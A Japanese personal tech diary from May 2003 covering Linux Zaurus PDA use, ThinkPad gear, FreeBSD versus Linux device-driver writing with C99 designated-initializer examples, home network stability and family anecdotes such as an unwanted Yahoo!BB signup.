という状況でして、緊急時に @FreeD を挿して、無線 LAN 経由の即席 FreeBSD ノートルーターを設置する適当な場所が存在しないのです。そういうわけで、障害が発生した場合は、自宅にいてもいなくても、せめてメールを読めるように、アイネットディから自宅にフォワードしている設定を一時的に停止して、直接メールを取りにいく位しか対処法はないのです。当然サーバーの公開は無理な状況となりますが、ほとんど実害はないと思われます(^^;。
なお NTT は光ファイバーより通常のメタリックケーブルの電話線の保守に長けているのかどうか知りませんが、 Flets ADSL は Bフレッツより障害の頻度が少ないような気がします。今まで biglobe の障害で数時間通信が不能になった以外、長時間の不通はなかったと思います。
＃そかっ、障害ではなく、予定の工事だったのですね。

2003年5月23日(金)

モカの双眼鏡を買う
モカが、市内のボランティアさまが主催する「藤沢市科学少年団」に入りまして、６月の例会は野外観察ということなので、12,600円で Nikon 「アクションVI」7×35 CF という双眼鏡を購入したのです。
ちょっと使ってみましたが、ちっちゃいとき持っていたおもちゃの双眼鏡などとは全然違い、非常に明るくて見易いのです。わたしも天気が良い日に星空をみたいですな。ただし怪しまれない様、十分注意する必要がありそうです(^^;。
＃まだサイエンス倶楽部にも通っています。まことに理系ばか親ですな。
＃ちなみに~~キャノン~~ キヤノンのはとっても高かったそうです(^^;。
キヤノンの双眼鏡のラインナップをみると、手振れ防止等、電子的な制御に特化した製品が多い感じがします。あんまり子供向けではないかも知れません。双眼鏡という市場はとても儲かるとは思えないので、いろいろ面白いことをやってみよう、という感じですかね。

2003年5月22日(木)

会社のルーターを入れ替える
今勤めている会社は、外部とは公称 100Mbps の光接続(B Flets)なのですが、いままで使用していたルーターは Ethernet インターフェースが 10BaseT の激古でお値段だけは高いルーターでありまして、実効速度が 5Mbps 程度だったのです(^^;。
そこで 1万円位のルーターを買ってきて、本日のお昼に入れ替えたところ、 ~~20Mbps~~30Mbps 以上といううれしい速度。ほんとに高性能なルーターが激安となりましたな。
扇風機その後
思わず、会社の内外で話題にになった扇風機ねたですが、扇風機自体は長時間使いすぎると喉の調子が悪くなる以外はなかなか快適です。どうもわたしの場合、サーモスタットに欠陥があり、体温の調整がうまくゆかない面があるらしかったりします。ちなみに、会社の冬は暖房が効きすぎるので、冬場も役に立つ予定であります。
それはそーと、最近社内の技術屋メーリングリストで、毛に関するおばかねたばかり流れているのは困ったものです。しかも、自分で率先して扇っている向きもあるので、文句を言うわけにもいかないし。例えば、
[球面ベクトル場の基本定理]
-- 球面上の自明でない連続なベクトル場には特異点が存在する --
よーするに、球面全部に毛が生えていて、全部垂直方向を向いてい
なければ特異点がある、という定理で、この場合の特異点は「つむ
じ」ですな。
曰く、「禿げてなければつむじがある」定理
なーんてのを自分で流しているから。
ちなみに急に真面目になりますと、上記の定理はドーナツ面(数学屋さんはトーラスと呼ぶ)では成立しません。ちょっと想像すれば分かるように、ドーナツに毛を植えてブラシでなでつけると、つむじなしで綺麗に「髪型」を作れます。そもそも球面の定義は n 次元空間に埋め込まないと面倒なのに対して、ドーナツ面(トーラス)は普通の円の直積であり、代数的に定義しやすく埋め込みも意識する必要がないので、球面よりはるかに扱いやすいのです。

2003年5月21日(水)

ザウルスで日記

この日記を読んで下さっている方はご存じのように、わたくし、非常に会社が遠くて、電車に乗っている時間が長いのです。それで、最近家に着いてもすぐにつぶれてしまって、あんまり日記を書く時間もとれないのです。そこで、「電車に乗りながらザウルスで日記が書けたらいーなー」と思うのですが、次の欠点があります。

そもそも入力しにくい。ただしこれは今回の主旨から考えますと、問題点として挙げるべきではないかもしれません。
現在マスターは X24 にあり、アップロードの時にレンタルサーバー、自宅サーバー(R30)にアップロードされるが、ザウルスを利用する場合、どのように同期をとるか。そもそもザウルスが動作しているときは、 X24 が動作していない場合がほとんどである、ということも問題なのです。
R30 をマスターにしてもよいのだが、まさか @FreeD 経由で直接エディットする気にはならないので、一度コピーしてくることになりますが、そうすると再び同期の問題が発生する。
ザウルスで書いたのをそのときはアップロードしないで、家に着いたら X24 にのマスターに張り付けてアップロードすればよいのであるが、はっきりいって面倒である。
適切なフォーマットで記述して自宅にメールすると、自動的に「うまく」整形してアップロードできる環境でも作れれば良いのであるが、残念ながらこの日記はデータ─ベース化されているわけでもなく、単に月ごとにだらだらと記述した無構造テキストファイルなのでそれも難しそうである。

というように、問題が山積みで、実現はほとんど不可能と思われていたのですが、良く考えたら CVS というものがあるんですね～(^^;。

現在のアップロード環境は、かなりの冗長度をもっていまして、動的に Makefile を生成いたしまして、更新部分のみをあちらこちらにばらまき、さらに CVS のコミットを行うという仕組みになっております。

----------------------------------------------------------------------

更新部分のコピー動的 Makefile 利用のための

X24 マスターファイル -------> X24 ローカルバックアップ

-------> レンタルサーバーの公開部分

-------> R30 の公開部分

-------> R30 CVS サーバーのコミット

----------------------------------------------------------------------

CVS の特徴として CVS サーバーがマスターであり、その他の作業場所はまったく対等な位置付けですから、別に X24 をマスターと考える必要もなく、R30 の作業場所、ザウルスの作業場所、等どこで作業しても cvs update/commit さえ忘れなければ、不整合は生じません。特に今回の用途では、同時に二人編集することはありえないので、運用面でも「編集の衝突」を考慮する必要がなく、問題が少ないと考えられます。むむむむっ、履歴をとるために導入した CVS が意外なところで役に立ちそうですな。

あとは、ザウルスに cvs,find 等の必要なツールをインストールすれば良いはずです。

損してなかった AirH" 年割り
昨日の AirH" の記事で「年割りにしたのは失敗でした」なんて書きましたが、年割りですと月に消費税込みで 900円程度安くなるようでして、5ヶ月位でもとがとれるようです。日記によりますと、実際に使い始めたのは去年の 10月4日でして、解約の通知をしたのが、今年の 4月14日ですので、大体半年です。従って 1,000円以上得していることになります。
実は、最後の明細書に「年割り分 450円」と書いてあったのですが、これも日割り計算だということをわすれて、この金額を 6倍してしまったというまぬけなのでした(^^;。
ただし得をしたといいましても、やめるときに 4,000円も取られて、とても損した気分になるのは、わたしがケチだからなのだろうか。

2003年5月20日(火)

AirH" 最後の明細
AirH" の最後の明細書が来まして、日割りで 2,500円位 + 年割り解約料 4,000円で 6,500円でした。年割りにしたのは失敗でしたな。いずれにしても、解約手続きは正常に行われたようであります。
@FreeD 最初の明細
@FreeD の最初の明細が来ました。関係ないところにかけた料金 35円が含まれていて、なんだろーなー、と思い出したら、一度 AirH" の電話番号に間違えてかけたことがあったのでした。

2003年5月19日(月)

会社にげたをもっていく
最近色々な機器でシリアル(RS232C)接続を多用していまして、会社の PC だけではポートの不足感が出てきました。そこで X24 にはかせるウルトベースX2 というのを持参。X24 は実質 USB 以外外部インターフェースは存在しないのですが、これをはかせると RS232C やプリンターポート、USB でない CDROM、フロッピーディスク等、レガシーなインターフェースが使用可能となるのです。 CDROM は別途もしくは R30 のを挿す必要がありますが、フロッピーは最初から内蔵です。
FreeBSD を最初にインストールするだけのために購入して、それ以降一度も使用していなかったのですが、少しは役に立ちそうです。ただし、非常にキーボードが打ちにくくなって、長時間は使用できないのが難点です。
@FreeD を忘れる
朝電車に乗ってザウルスでメールをみようとしたら、@FreeD ではなく無線 LAN が挿さっていました(^^;。しかも会社に着いたら ~~NTT某プロバイダー~~NTT の光回線が不調でインターネットに繋がらず。うーむ、一番肝心なときに無線を忘れるは。激とろ別経路の回線が生きているので、そちらからアップロードです。おうちに帰るときは何か本を持っていく必要がありそうです。
SMTP AUTH 対策
何度設定しても動かない自宅 SMTP AUTH ですが、別に今動作しなくても全く問題ないのです。ただ技術者としてこれでは情けないので、また機会をみつけて自前のロギングやデバッガ─の出番です。

2003年5月18日(日)

モカのメル友
モカのお友達のおうちがインターネットにつながり、自分もメールアドレスをもらったということで、アドレスを書いた紙をモカがもらってきました。ちょっと見たらアドレスのほかに見慣れぬ文字列が...。しばらくしたら、お友達から電話がかかってきまして、
紙に書いた最初の方は、パスワードというもので、関係ないんだって～
見なかったことにしましょう(^^;。
ちなみにご家族さまの APOP パスワードは、私が root 権限でいい加減に設定して、「その時だけ」紙に書いて、ご家族様メールクライアントに登録するので、私を含めて誰も知らなかったりします。
Yahoo!BB にモデムを返す
先日 Yahoo!BB から、
現在処理を進めておりますが、支払いの方法が決まってないので、銀行の口座を指定して印鑑を押して送って下さい。
という内容の手紙が来たので、さすがに奧さまが電話をしまして、色々~~文句をいって~~苦言を呈して、結局着払いでモデムを返すことになりました。マニュアルに書いてあるのでしょうが、相手様は「ひたすらあやまっていた」そうであります。
あのような強引な勧誘をして、返却等の問い合わせに応じなかったり、対応が悪い場合は、消費者センター等が苦情の嵐になるでしょうね。
吉野家
自宅の近くの文教堂が 1月につぶれたのですが、その後に吉野家が入るらしいのです。うーむ、わたしは吉野家の誘惑に弱いのだ。せっかく最近あんまり食べないようにしているのに、また太ったらどうしよう(^^;。
ちなみに、文教堂がつぶれたのは当然でありまして、本当に売れ筋の本しか置いてないし、それではということで、ちょっと曖昧な条件で注文しようとすると受け付けてくれなかったりと、店長さんが本嫌いだったのです。

2003年5月17日(土)

またまた失敗 SMTP AUTH
嫌われているのでしょうな(-_-)。
「～」の位置づけ
「～」っていうのは、日本語でどんな位置づけなのでしょうね。
この前モカが学校で工場見学に行ったときの、工場でで働いている方に渡した感想文に、
なんたらかんたらがすご～く大変だとおもいました。
という感じの文があったのです。さすがに国語の作文の時間ですと、こういう「～」の使い方は注意されるのでしょうが、普通の文章でつかう分には問題がないようです。いやいや、きっと先生だってプライベートでは多用しているのだ。一度インターネットの asahi.com でもみたことがあるし、どの程度の市民権を得ているのだろうか。全然わかんないの～(^^;。
ちなみに、この日記を書き始める前は使ったことなかったですな。そもそも、文章なんて書いたことなかったのだから関係ないか。
りなざう新機種
むむむっ、この形のでよかった。もし SL-B500 の形だったら...、さすがに買わないとは思うが、誘惑が強いことは事実なので。
ちなみに X24 に関しては、新機種や人様のノート PC がうらやましくなったことは一度もないのです。まさに名作といえますな。

2003年5月16日(金)

ついにアドレスが変化
一月近くリンクダウンせず、アドレスが変化しなかったおうちの ADSL ですが、上の隠しリンク(^^;によるとついに変化したようです。
Linux ザウルスにシリアルケーブル
りなざうの通信に使用できる外部インターフェースといえば、USB,CF だけであり、ご存じの様に CF の方は色々な用途の通信機器が入るのですが、USB の方はスレーブ(端末)としてしか動作しないので、パソコン以外に何か繋げれるというわけではないようなのです。
それで当然 RS232C を利用したシリアル通信は無理だろーな～、と思っていたのですが、もし繋げることが可能であれば、RS232C はレガシーとはいえ、汎用性が高く「冗談ルーター^^;」等、色々な用途が見込まれるのです。
そんなことを考えながら Web を巡回していたらやっぱりあるんですね。
開発屋さんの気持ちを考えると、絶対にコンソール用の RS232C ポートは欲しいわけで、USB のポートにこっそり RS232C の線を隠していたのだと思います(^^;。
さっそく会社の帰りに痛い足(^^;で新宿まで行って買ってきたのが、この 4,000円の CE-170TS でありまして、

横にちょこっと見えるザウルスのおしりの部分に挿しまして、PC 側の RS232C 端子に接続するのです。上記の URL の記述通りやってみたところ、簡単にシリアルポートからログインできました。よしよし、これで応用範囲が飛躍的に高まりますな(^^;。
ちなみに、単にログインできただけで、コンソールにする方法は調査中であります。

2003年5月15日(木)

足を痛める
たいしたことないのですが、駅の階段で足を踏み外して、右足のかかとを痛めてしまいました。軽い打撲ですがちょっと歩きにくいのです。
ちなみに、昨日はひさびさに定時退社で、おうちでのんびり日記でも書こうかな、と思ってごろごろしていたら、10時頃不覚にも沈没で目が覚めたら朝だったのです(^^;。

2003年5月14日(水)

扇風機
わたくし、とっても暑がりで、夏に冷房がない生活など考えられないのですが、今の会社はなんと、
18時になると冷房が止ってしまう(^^;
システムでありまして、これでは暑くて仕事にならないのです。
てゆーわけで、今日の昼間ちょっと時間をみつけて、近くの電気屋に扇風機を買いに行ってきました。ちっちゃい扇風機ですが、机の上に置いて自分一人が使うには十分な風量で 1,200円と、赤ぽっちん 10個とあんまり違わないお値段だったりしました(^^;。
なかなか快適で、18時過ぎてもそこそこ仕事ができます。回りの人の説によると、
かがみさんの頭はオーバークロックなので冷やさないと熱暴走するのでは。
そもそも熱を放出する毛があんまりないのが悪いのでは(-_-)。
みんなとってもよい人なのですが、口はよくないのです。
ちなみに、おうちの仕事机も冷房がない部屋なので、先日奧さまが扇風機を買ってきてくれたのです。本当に素晴らしい奧さまがいてくれてとっても幸せなのです。

2003年5月13日(火)

BSD と Linux
わたくし、もともと BSD な人で、Linux には違和感をもっていたのですが、今の仕事では Linux が必須、てゆーか、ドライバーとか書くのが本来の仕事ですので、まだまだ表面的ながら少しずつ勉強しているのです。そこで、まだ見当違いの可能性もあるのですが、ちょっと Linux を見直した点と、これはまずいなと思った点をいくつか列挙します。ちなみに Linux の distribution は RedHat という会社が出しているものを使用しております。
- アプリケーションのインストールの仕組は断然 BSD の ports が優れている。rpm はとっても不便で時代遅れです。
- Linux はデフォルトで「余計なお世話」的な部分が多い。例えば ls が色つきだったり。
- システム管理は BSD の方が楽であるが、これは慣れの問題が大いに関連しているので公平な判断はできない。ただし /etc/ のディレクトリだけの情報を参照する場合は BSD の方が分かりやすい。何か設定の調査をしたい場合、
  bsdos# grep fugahoge /etc/*
  linux# find /etc/ | xargs grep fugahoge
  の違いという感じなのです。ただし Linux の資源の階層構造が深いのは、GUI による設定を容易にする意図もあるらしく、一概に非難できないらしいのです。
- 私は Linux でも WindowMaker を使用してるが、GNOME または KDE を使用しないと本当の良さが分からないのかもしれない。
それで、私にとって一番肝心なことなのですが、
デバイスドライバーは Linux の方が書きやすい(^^;;

いやはや、これは本当に意外でした。FreeBSD や NetBSD では単純なキャラクターデバイスドライバーを書く場合でも、あっちこっちに分散した「おまじない」が必要で、少なくとも初めて記述する場合は結構調査が面倒だったのです。
Linux の場合、ローダブルモデュールがデフォルトということもありますが、基本的にドライバーを実装する .c ファイルで「おまじない」が閉じていまして、あっちこっちを探して設定しまくらなくても、簡単にドライバーが書けてしまうのです。今日は初めてということで、例のごとく /dev/zero 相当のドライバーを書いてみましたが、2時間位で完成できました。
それで BSD の人に言わせると、設定が分散しているのは、抽象度を上げる (CPU 依存やバス依存を分離する)ためであり、 Linux の kernel のソースは汚いとか、ごちゃごちゃしているとか、非難の嵐となりまして、確かにそうなのかも知れないのですが、もしかすると Linux はユーザー(今回はデバイスドライバーを書く人)にとっては優しいシステムであり、汚い部分を kernel や GUI が自らを犠牲にして吸収してくれていると好意的な解釈も出来るような気がしてきたのです。
このように、Linux の良さも少しは分かってきたのですが、もちろん自分の PC に Linux を導入する気は全くありません。ただし Linux に慣れて、自分で管理可能となり、 ports 並の便利なアプリケーション導入システムがあれば、X 上で Emacs やモジラを使っているいる分には全く違いは分からないわけであり、正直どちらでもよいのかな、と思ったりもします。

2003年5月12日(月)

CF 通信カード四天王
現在所有中でザウルスで使える CF 通信カードを列挙してみました。左から、
- メルコ [PC-CF-CLT] イーサネットカード
- PCI [GW-CF11H] IEEE802.11b 対応無線 LANカード
- シャープ [P in Free 1S] @FreeD カード
- NEC [CFE-02] AirH" カード
ThinkPad が黒いので、肝心のカードが露出オーバーになっていますが、面倒なので(^^;このまんま掲載です。

それでザウルスに挿した写真がこれ。

@FreeD AirH"

IEEE802.11b 10BaseT

さすがにモバイル用は極力サイズ(でっぱり)を少なくする努力が感じられます。無線 LAN となりますと、技術的な問題があるかどうか良く分からないのですが、でっばりに関しては「まあいいか」という姿勢も感じられなくはありません。
さらに、イーサネットカードとなりますと、有線なので見栄えに関しては「どーでもいいや^^;」という投げやりな態度ががひしひしと感じられます。たしかに線を繋いてしまうので、でっぱりがあろうがなかろうが大勢に影響がないのは事実なのであります。そもそも、ネットワークケーブルのテンションが強いので、ちょっとでも動かすと線の挿入部が壊れてしまいそうだったり、カードが「バキッ^^;」と折れてしまいそうで、動かすことなんて不可能なのです。
ちなみに、イーサネットカードは会社の SL-C700 開発用をちょっと拝借してきたものです。

2003年5月11日(日)

「バイオU」PCG-U101/P
むむむっ、これによると CPU が 600MHz でメモリーバスクロックが 266MHz ですか。バランスが良いですな。もしかすると T20 のみならず X24 より速いかも知れません。くやし～～～(^^;。
てゆーか、クルーゾー警部がのろすぎたのですね。
ちなみに、最大の疑問はもちろん「黒ポッチン」の代りに「赤ポッチン」が入るのか。もし入るのならどんな案配になるのか、ということなのです(^^;。
＃そか、軸の太さが全然違うのですね。普通のはともかく、ソフト型は
＃あんまりマヌケなので、写真をみただけで笑ってしまいました。
母の日
今日は母の日ということで、娘たちがプレゼントしたお花。

奧さまも子供が 4人いるようなものでとっても大変ですな。
リテ・ラトバリタ・ウルス・アリアロス・バル・ネトリール
このページを読みに来て下さっている方には全く関係ないのですが、メール箱を整理して学生時代からの最近までの友人や、比較的最近のいろいろなメール等を含め、古いしがらみを引きずったメールをを全部削除しました。これから家族以外の過去を完全に捨て、未来に向かって新しいことに集中することを決意したのです。この 2 週間であまりに色々なことがありすぎました。
人間があそこまで冷酷になれるとは思いませんでした。自らの金銭欲のために、人権侵害のみならず、平気で殺人を行う人間が、アメリカのみならず、日本にも身近にいるということを思い知らされたのです。くどいようですが、ここに遊びに来てくださっている方には関係のない話です。
ちなみに、余りよい使い方ではないのでしょうが、上記関連のドメインから来たメールは全部 /dev/null に捨てるようにも設定しました。痕跡はログに残るのですが、内容は絶対に残しません。

2003年5月10日(土)

Yahoo!BB からの通知
おうちに Yahoo!BB からの通知が郵送されてきました。曰く、
申し込み受け付け完了のお知らせ
この度は Yahoo!BB ならびに BB フォンにお申し込みいただきまして、まことにありがとうございます。
これより弊社サービスご利用開始へと進めさせていただきます。

むむむっ、もしかすると条件が整っていれば勝手に回線が引かれてしまうのかも知れないですな。ただし前に書いたようにおうちの場合、
- もう Flets ADSL が引いてある。
- NTT 契約者名義が間違っている。
- そもそも未成年で親の承諾がない。
というわけで、処理を進めるのは不可能なのです。いずれ電話でもかかってくるのでしょうが、それまではだんまりです。ちなみに BBフォンの方は ~~申し込まされて~~申し込んでいないはずだと思ったが。
トラブらないおうちの環境
無線 LAN 経由でサーバーを運用するという、極めて無謀な環境のおうちなのですが、思ったよりトラブルが少ないのです。トラブルが少ない原因としては、
- 実質メールサーバーと、非常にマイナーな HTTP サーバーが動作しているだけの負荷が少ないサーバーである。
- 無線はたまに不安定になるが、極めて高性能なリカバリシステムを稼働させていて、ログをみると少しは役にたっている様である。
- メルコのルーター BLR3-TX4L は安価なのに非常に安定している。一度もトラブルは発生していないです。ちなみにポートフォワードでポートの変換が出来ない以外は NAT ルーターとしての機能は十分だと思います。ポートの変換というのは、例えば外から 8080 番できたパケットを、 80 番に変換して特定のホストに送り込む機能です。
- Flets ADSL と IIJmio の組合わせは一度もトラブルが起きていない。外部要因のトラブルとしては、一度一時間くらいおうちの DNS がひけなくなった程度で、これも非常に対応がよろしかったのです。
というわけで、後は R30 が末長く余生をまっとうして下さるのを願うだけであります。ちなみに無線 LAN は最新のファームウエア[Ver.2.38.190] を導入したところ、非常に安定するようになりました。ダイアルアップの様な速度になることもありません。不思議なものですな(^^;。
BLR3-TX4Lの最新ファームウエア
上の記事を書いていたら発見いたしまして、最新のファームウエア─が出るとすぐに入れ替えたくなってしまうのですが、現在非常に安定していますし、アップデートの内容が YahooBB がらみなので今回は入れ替えません。

2003年5月9日(金)

10個入り赤ポッチン^^
~~ねたに困っていたのと~~研究が必要なのと、どんなに大きな箱に入ってくるのか興味があったので、思わず注文してしまいました。注文したのは以前からある「クラシックタイプ」。送料は IBM 負担で 10 個 900円也。以前の 3個 280円のは販売中止です。
それで問題の箱なんですが、これです(^^;。

いやはや、たかたにさんの記事をみて大きいとは知っていたのですが、いざ現物をみるとホントにおおきいですな(^^;。
ちなみに、おうちの在庫が 4個なので全部で 14個になってしまいました。どうしよう(^^;。
おやすみ
先週の自宅仕事で全然疲れが取れないので、今日から三連休なのです。
BB Phone
奧さまの知り合いで BB Phone を使っている方がいらっしゃるのですが、あんまり芳しくないようです。
ノイズが多いのと、キャッチフォンでないのに、割り込み電話をキャッチしてしまう(^^;らしいのです。インターネットを通すので、安価な分信頼性が劣るのは当然ですし、NTT と Yahoo では運用能力の差が極めて大きいと思います。個人的には、最近の NTT の一般向け価格自体は適正(電波を除く)であり、あんまり批判して肝心の基幹回線のお世話がおろそかになると、交換回線のみならず ADSL さえも使えなくなったりして、非常に困ったことになると思うのですが。
ちなみにおんなじマンションに YahooBB の方がお二人いらっしゃるようですので、もし BB 変調(G.dmt Annex-A)のノイズがのるといやなのですが、最近安定しているので問題なさそうです。今の速度はくやしい以外は困ったこともないですし(^^;。

2003年5月8日(木)

覚え書き(-_-)
MS-Word で目次にページを印刷せずに、本体を 1ページから開始する方法。もっとよい方法があるのかも知れないが、これだけのために 2時間もかかってしまった。
- 目次を文章の最後に挿入する。これで 1ページからの目次ができる。
- 目次を先頭にコピーする。これで本体のページが勝手にずれる。
- 先頭から本体の先頭までの各ページに「セクション」マークをつける。
- 目次の部分は「0ページ開始で先頭ページはページを表示しない」というオプションでページ設定を行う。これで本体のページがやっと 1ページに戻る。
どうして、ページも自由に制御できなく、目次にも反映しない極悪ワープロをみんな使っているのだろうか。
ThinkPad 赤ポッチン
この話題も長いですな。それにつけても、~~ねたのために~~評価のために、金2,000円也も消費して、しかも粗大ごみまで引き取るとは(^^;。
もしかすると、今週の土曜日のねたとも関連があるのかな。
ちなみに、私はふにゃふにゃのポッチンは嫌いなので、次回購入のときも旧型のものとなります。

2003年5月7日(水)

もいちど突っ込み

さっきととおんなじ方からもう一度つっこみ、てゆーか、訂正がありまして、またまた勝手に引用させて頂きますと ISO-C99 の場合は、次のような書き方だそうです。

-------------------------------------------------------------------------
/*
 *  ----- ISO C99 ------
 *  gcc -std=c99 hoge.c
 */

struct Hoge {
    int a;
    int b;
    int c;
};
struct Hoge hogevar = {
    .b = 2,           // Designated Initializer
    .c = 3,
    .a = 1,
};
int main(void)
{
    printf("hoge = %d, %d, %d\n", hogevar.a, hogevar.b, hogevar.c);
    return 0;
}
-------------------------------------------------------------------------

どうもありがとうございました。

突っ込み
さっそく C 言語の達人の方から突っ込みがありまして、下記の仕様は、
ISS-C99 標準の designated initializer
というそうです。ちなみに配列版も存在するそうで、そのまま引用させていただきますと、
```
---------------------------------------------------
#define ERRMES_NOERR (0)
#define ERRMES_FILEREAD (20)
#define ERRMES_FILEWRITE (21)

const char *errmessage[] = {
        [ERRMES_FILEWRITE] = "file write error",
        [0] = "no error",
        [ERRMES_FILEREAD] = "file read error",

};
---------------------------------------------------
```
などという技も使えるそうで、いやはや色々新しいことが増えていきますな。
拡張構文
昨日 Linux のデバイスドライバのソースを調査していたら、こんな感じの定義が。
```
----------------------------------------------------
struct entrytable {
    int (*probe)(... );   /* デバイスの存在調査を行う */
    int (*init)(... );    /* デバイスの初期化を行う */
    int (*open)(... );    /* デバイスをオープンする */
    int (*close)(... );   /* デバイスをクローズする */
    int (*read)(... );    /* デバイスから読む */
    int (*write)(... );   /* デバイスに書き込む */
    int (*ioctl)(... );   /* デバイスの制御を行う */
    int (*select)(... );  /* デバイスの入出力完了を待つ */
    int (*mmap)(... );    /* デバイス空間をを仮想アドレスにマップする */
    int (*lseek)(... );   /* デバイスの現在位置を変更する */
    ...
};
----------------------------------------------------
```
これ自体は普通の OS には似たようなテーブルが定義されており、なんにも驚くことはなく、例えば ad なるドライバーを記述して、それが probe,init,open,close,write,mmap を実装している場合、
```
----------------------------------------------------
struct entrytable ad_entry={
    ad_probe,
    ad_init,
    ad_open,
    ad_close,
    NULL,    /* read(NOT implemented)   */
    ad_write,
    NULL,    /* ioctl(NOT implemented)  */
    NULL,    /* select(NOT implemented) */
    ad_mmap,
    NULL,    /* lseek(NOT implemented)  */
    ...
};
----------------------------------------------------
```
という感じで ad_ の部分の名前はどうでもよいのですが、必要な関数を実装して、そのポインタを上記の様な構造体に代入して初期化するのです。
その構造体(他にもいろいろ)を「登録」してあげると kernel はデバイスドライバとして認識してくれて、例えば ad ドライバに major/minor 番号で関連づけられたデバイスの open() が呼ばれたとき ad_open() が呼ばれる様、うまいこととり計らって下さるのです。
それで、Linux の実装を見て驚いたのが何かと言いますと、次のような形式で書いてあったのです。
```
----------------------------------------------------
struct entrytable ad_entry={  /* 順序も任意でよろしい */
    probe:   ad_probe,
    init:    ad_init,
    write:   ad_write,
    open:    ad_open,
    close:   ad_close,
    write:   ad_write,
    mmap:    ad_mmap
};
----------------------------------------------------
```
あれれれっ、こんな形式見たことないですな(^^;。タグ付き構造体初期化という感じで、どうみてもマクロでの実装でもなさそうです(-E でも確認)。よくよく調べてみると gcc の比較的最近の拡張だそうで、他との互換性はないのですが、順序や穴に依存しない構造体の初期化が可能でして、あんまり言語の拡張は好きでないのですが、これは悪くないかな─と思ったりしたのです。 FreeBSD-4.8 の cc でもコンパイル可能で、ごみのような実験プログラムがこれです。

2003年5月6日(火)

ちっとも落ち着かない FreeBSD-5.X
最近の FreeBSD-users-jp によりますと、この期に及んでファイルシステムの重大なバグがあるようです。まだまだ時間がかかりそうですな。
ちっとも落ちない Windows2000@自宅
おうちの人に聞いてみると、犬の壁紙の副作用以外は一度も変になったことはないそうです。むむむむっ、日本から突然姿を消した牛の安物 PC なのに意外と頑張っていますな。インストールしたのが、このときですから、お子さまたちの無謀な操作にも耐えて 3ヶ月近く安定していることになります。すばらしい。
ちっとも終わらない Windows2000@会社
会社のは Dell の高性能の高いマシンで、しかもネットワークコンピューターと FreeBSD や Linux で見れない WWW ページを見るのにしか使っていないのに、いまや終了時に固まる確率が 70% 位です。長く待てばよいというレベルではなく、ちゃんと次の朝もそのまま固まっています(^^;。
これから使う機会が増えそうなのに困ったものです。ちなみに、会社だと FreeBSD/X24 のシャットダウンも異常に時間がかかるようになるのです。ネットワークコンピュータ関連が怪しいのですが、X24 では Samba は動作していなかったりします。謎ですな。

2003年5月5日(月)

寝転び ThinkPad
なんか連休中いまいち集中力もなく仕事していたので疲れてしまったが、まだやることが残っているので、とうとう仰向けにねころんでおなかの上に X24 を乗せて作業というだらしなさであります。こういう場合、無線 LAN はとっても良いのです。
ちなみに、許可がおりれば、先月の代休を今週の金曜日にとる予定。来週を本当の連休にするつもりなのだ。ただ、とっても忙しくなりそうなので、だめかも知れない。
お説教
娘に聞くと、やはりちょっと態度を曖昧にしていたら、無理やり書類を書かされた、という感じですな。アルバイトのおねーちゃんの速くノルマ分を押し付けたい気持ちも分からぬではないが。
いずれにしても YahooBB だからまだよかったものの、悪徳キャッチセールスだったりすると面倒なことになるので、「はっきりと断る」ことも大切であることを話しておきました。
＃じつはおとーさんも中身に興味があったので、いまいちお説教に迫力が
＃なかったりしました(^^;。

2003年5月4日(日)

MC
そういえば昨日届いていました。今回は~~谷山さんの記事が多いですね~~ ねこ森通信も入っていますね。それで、肝心の有効期限は、ちゃんと来年の 4 月末日となっていました。
＃ご想像の通り、MC と「ねこ森通信」の切り分けがついてなかったり
＃しました(^^;。
十分使える Mew/ザウルス
何回か書きました様に、りなザウのデフォルトのメーラー qtmail は使い物にならないので、Mew/Emacs をインストールして使用しております。最初の頃は、慣れなくて、キーボードもちっちゃいので結構疲れましたし、Mew(てゆーか Emacs) の右揃えの機能を知らなかったので、非常に見栄えの悪いメールを送っていたのですが、最近やっと慣れてきました。
その後、ザウルスで長文のメールを書くこともなかったのですが、先日電車の中で、比較的長文のメールを書く機会がありまして、「よしよし、右揃えの機能をきちんと活用してあげよう」とかなり慎重に書いて人様に送ったのです。
そんなこんなで、おうちに帰って本物の(ザウルスのも本物だって^^;) Mew/FreeBSD でながめてみると、いやはや、人様がどう思われるかは分からないのですが、自分としては完璧な見栄え。十分満足な出来映えでありました。

ちなみに、ザウルスで使っているものは、
- zsh/qpe-embeddedkonsole-ja[ターミナルですな]
- Mew/Emacs
- w3m
- NetFront[デフォルトのブラウザ。さすがにこれは必要]
- スケデュール[ちまたでは評判が悪いが結構便利]
これらが常に全部起動(^^;しておりまして、スワップの嵐になっているのです。アプリケーションを切り替ると 10秒以上待たされることもあったりします (^^;。
FreeBSD で通常起動しているアプリケーションは、
- bash/kterm
- Mew/Emacs
- w3m
- Emacs
- Mozilla
というわけで、ほとんど変化がなかったりします(^^;。
＃今回は特に問題がなかったのですが、右揃えで「顔文字」の
＃禁則処理があると、もっと良いかなと思ったりします
＃(^^;。
おそらく Emacs のことですから、なにか設定したり自分で書けば出来るに違いないのですが、そこまで調べるのは面倒で(^^;。
暗点
むむむっ、X24 にぽちっと一カ所発生。不愉快ですな(-_-)。

2003年5月3日(土)

YahooBB
いやはや、長女が例の~~押し売り~~おねーちゃん袋をもらってきてしまった(^^;。
「Yahoo! BB/BB フォンサービス申込書」にしっかり必要事項も~~書いて~~ 書かされてあったりします。ちなみに、おうちの電話の NTT 契約者名義は、奧さまでしかも旧姓(^^;だったりするのですが、そこはきちんと間違えていますな(^^;。
いずれにしても、未成年者ということで、契約自体が無効なので問題はないのですが、こんなことではキャッチセールス等の被害にあう恐れもあるので、ちゃんと指導する必要がありそうです。まあ、ねたがなくって困っていたので丁度よかったりするのですが(^^;、それはそれ、軽率さはきちんと説教する必要があります。
でもって中身(^^;。
- モデム本体
- 電話用モデュラーケーブル 2本
- Ethernet ケーブル 1本
- AC アダプタ 1個
- 説明書類
スプリッターがないな～、と思ったら、モデムの中に入っていて、いもづるで外に出したケーブルを普通の電話に繋ぐのですね。ふむふむ、それで ~~ケーブルが 2本入っているわけですな(あんまり関係ないか)~~内部でいろいろなことをやるのですね。
いずれ自宅に電話がかかってきて、「契約をしないのなら返して」と言ってくるのかな。返すのはかまわないが、「取りに来て下さい」と返事するように奧さまにお願いしておきました。
ちなみに YahooBB は、繋がってしまうとそんなに悪いものではないらしく、もしかしたらおうちなんかは今より速くなるかも知れませんが、わたしはコンピューターや通信関連機器や OS に関しては「ブランド志向」で 「なんとなくかっこいい」のじゃないとやなので、ぜったいぜったい Yahoo などと契約する気はないのです。
三連仕事
なんとなく待ち行列がオーバーフロー状態で、連休中はぼちぼちおうちで仕事ですな(^^;。

2003年5月2日(金)

たばこ
